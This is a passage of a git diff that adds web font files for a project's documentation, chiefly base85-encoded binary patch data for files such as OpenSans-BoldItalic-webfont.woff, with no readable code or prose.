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 ig3W + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-BoldItalic-webfont.woff b/docs/fonts/OpenSans-BoldItalic-webfont.woff new file mode 100644 index 0000000000000000000000000000000000000000..ed760c0628b6a0026041f5b8bba466a0471fd2e0 GIT binary patch literal 23048 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 